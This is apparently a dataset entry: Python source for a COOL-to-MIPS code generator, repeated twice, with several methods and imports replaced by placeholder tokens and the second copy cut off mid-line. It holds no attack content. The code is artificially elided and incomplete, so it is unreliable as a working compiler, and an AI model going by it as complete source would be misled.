self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n <function token>\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 